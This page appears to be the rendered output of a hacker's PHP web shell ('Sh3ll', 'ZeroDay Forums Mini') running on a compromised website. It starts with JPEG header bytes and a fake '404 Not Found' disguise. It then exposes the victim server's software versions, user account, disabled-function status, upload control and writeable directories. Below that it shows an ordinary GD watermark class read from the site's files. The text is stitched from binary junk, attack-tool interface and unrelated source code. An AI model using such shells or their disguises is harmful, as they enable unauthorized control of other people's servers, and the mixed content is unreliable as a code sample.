ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/luckymerchan/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/luckymerchan/lib/watermark.class.php
<?php
/* 
 * Class Watermark
 * require GD librabry
 *
 * 
 */

class Watermark {
    /**
     *
     * @var image resource
     */
    private $image = null;

    /**
     *
     * @var image resource
     */
    private $watermark = null;

    /**
     *
     * @var string
     */
    private $output_file = null;

    /**
     *
     * @var int
     */
    private $type = '';


    const BOTTOM_RIGHT = 1;
    const CENTER = 2;
    const BOTTOM_RIGHT_SMALL = 3;
    const TOP_RIGHT=4;
    const TOP_LEFT=5;
    const BOTTOM_LEFT=6;

    /**
     *
     * @param string $path_to_image
     */
    public function __construct($path_to_image){
        if (file_exists($path_to_image)){
            $this->image = $path_to_image;
        }
        $this->type = Watermark::BOTTOM_RIGHT;
    }

    /**
     *
     * @param string $path_to_watermark
     * @return boolean
     */
    public function setWatermarkImage($path_to_watermark){
        if (file_exists($path_to_watermark) && preg_match('/\.png$/i',$path_to_watermark)){
            $this->watermark = $path_to_watermark;
            return true;
        }
        return false;
    }

    /**
     *
     * @return boolean
     */
    public function save(){
        $this->output_file = $this->image;
        return $this->process();
    }

    /**
     *
     * @param string $path_to_image
     * @return boolean
     */
    public function saveAs($path_to_image){
        $this->output_file = $path_to_image;
        return $this->process();
    }

    /**
     *
     * @param int $type
     */
    public function setType($type){
        $this->type = $type;
    }

    /**
     *
     * @return boolean
     */
    private function process(){
        $watermark = imagecreatefrompng($this->watermark);
        if ($watermark){
            $image = imagecreatefromjpeg($this->image);
            if ($image){
                switch ($this->type){
                    case Watermark::BOTTOM_RIGHT:
                        return $this->watermark_bottom_right($image, $watermark);
                        break;
                    case Watermark::CENTER:
                        return $this->watermark_center($image, $watermark);
                        break;
                    case Watermark::BOTTOM_RIGHT_SMALL:
                        return $this->watermark_bottom_right_small($image, $watermark);
                        break;
                    case Watermark::TOP_RIGHT:
                        return $this->watermark_top_right($image, $watermark);
                        break;
                    case Watermark::TOP_LEFT:
                        return $this->watermark_top_left($image, $watermark);
                        break;
                    case Watermark::BOTTOM_LEFT:
                        return $this->watermark_bottom_left($image, $watermark);
                        break;
                }
                return true;
            }else{
               return false;
            }
        }else {
            return false;
        }
    }

    /**
     *
     * @param image resource $image
     * @param image resource $watermark
     * @return boolean
     */
    private function watermark_bottom_right(&$image, &$watermark){
        $watermark_width = imagesx($watermark);
        $watermark_height = imagesy($watermark);
        $size = getimagesize($this->image);
        $dest_x = $size[0] - $watermark_width - 5;
        $dest_y = $size[1] - $watermark_height - 5;
        imagecopy($image, $watermark, $dest_x, $dest_y, 0, 0, $watermark_width, $watermark_height);
        //top right
        /*imagecopy($image, $watermark, $dest_x, 0, 0, 0, $watermark_width, $watermark_height);*/
        imagejpeg($image,$this->output_file,100);
        imagedestroy($image);
        imagedestroy($watermark);
        return true;
    }
    private function watermark_top_right(&$image, &$watermark){
        $watermark_width = imagesx($watermark);
        $watermark_height = imagesy($watermark);
        $size = getimagesize($this->image);
        $dest_x = $size[0] - $watermark_width - 5;
        $dest_y = $size[1] - $watermark_height - 5;
        //top right
        imagecopy($image, $watermark, $dest_x, 0, 0, 0, $watermark_width, $watermark_height);
        imagejpeg($image,$this->output_file,100);
        imagedestroy($image);
        imagedestroy($watermark);
        return true;
    }
    private function watermark_top_left(&$image, &$watermark){
        $watermark_width = imagesx($watermark);
        $watermark_height = imagesy($watermark);
        $size = getimagesize($this->image);
        $dest_x = $size[0] - $watermark_width - 5;
        $dest_y = $size[1] - $watermark_height - 5;
        //top left
        imagecopy($image, $watermark, 0, 0, 0, 0, $watermark_width, $watermark_height);
        imagejpeg($image,$this->output_file,100);
        imagedestroy($image);
        imagedestroy($watermark);
        return true;
    }
    private function watermark_bottom_left(&$image, &$watermark){
        $watermark_width = imagesx($watermark);
        $watermark_height = imagesy($watermark);
        $size = getimagesize($this->image);
        $dest_x = $size[0] - $watermark_width - 5;
        $dest_y = $size[1] - $watermark_height - 5;
        //top left
        imagecopy($image, $watermark, 0, $dest_y, 0, 0, $watermark_width, $watermark_height);
        imagejpeg($image,$this->output_file,100);
        imagedestroy($image);
        imagedestroy($watermark);
        return true;
    }
    /**
     *
     * @param image resource $image
     * @param image resource $watermark
     * @return booelan
     */
    private function watermark_center(&$image, &$watermark){
        $size = getimagesize($this->image);
        $watermark_x = imagesx($watermark);
        $watermark_y = imagesy($watermark);
        $im_x = $size[0];
        $im_y = $size[1];
        $cof = $im_x/($watermark_x*1.3); // 5/1 = im_x/(wx*cof) ; wx*cof = im_x/5 ; cof = im_x/wx*5
        $w = intval($watermark_x*$cof);
        $h = intval($watermark_y*$cof);

        $watermark_mini = ImageCreateTrueColor($w, $h);
        imagealphablending($watermark_mini, false);
        imagesavealpha($watermark_mini,true);
        ImageCopyResampled ($watermark_mini, $watermark, 0, 0, 0, 0, $w, $h, $watermark_x, $watermark_y);


        $dest_x = $im_x - $w - (($im_x-$w)/2);
        $dest_y = $im_y - $h - (($im_y-$h)/2);

        imagecopy($image, $watermark_mini, $dest_x, $dest_y, 0, 0, $w, $h);

        imagejpeg($image,$this->output_file,100);
        imagedestroy($image);
        imagedestroy($watermark);
        return true;
    }

    /**
     *
     * @param image resource $image
     * @param image resource $watermark
     * @return boolean
     */
    private function watermark_bottom_right_small(&$image, &$watermark){
        $size = getimagesize($this->image);
        $orig_watermark_x = imagesx($watermark);
        $orig_watermark_y = imagesy($watermark);
        $im_x = $size[0];
        $im_y = $size[1];
        $cof = $im_x/($orig_watermark_x*5); // 5/1 = im_x/(wx*cof) ; wx*cof = im_x/5 ; cof = im_x/wx*5
        $w = intval($orig_watermark_x*$cof);
        $h = intval($orig_watermark_y*$cof);

        $watermark_mini = ImageCreateTrueColor($w, $h);
        imagealphablending($watermark_mini, false);
        imagesavealpha($watermark_mini,true);
        ImageCopyResampled ($watermark_mini, $watermark, 0, 0, 0, 0, $w, $h, $orig_watermark_x, $orig_watermark_y);
        //
        $dest_x = $size[0] - $w - 5;
        $dest_y = $size[1] - $h -5;
        
        imagecopy($image, $watermark_mini, $dest_x,$dest_y , 0, 0, $w, $h);
        imagejpeg($image,$this->output_file,100);
        imagedestroy($image);
        imagedestroy($watermark);
        imagedestroy($watermark_mini);
        return true;
    }

}
?>

ZeroDay Forums Mini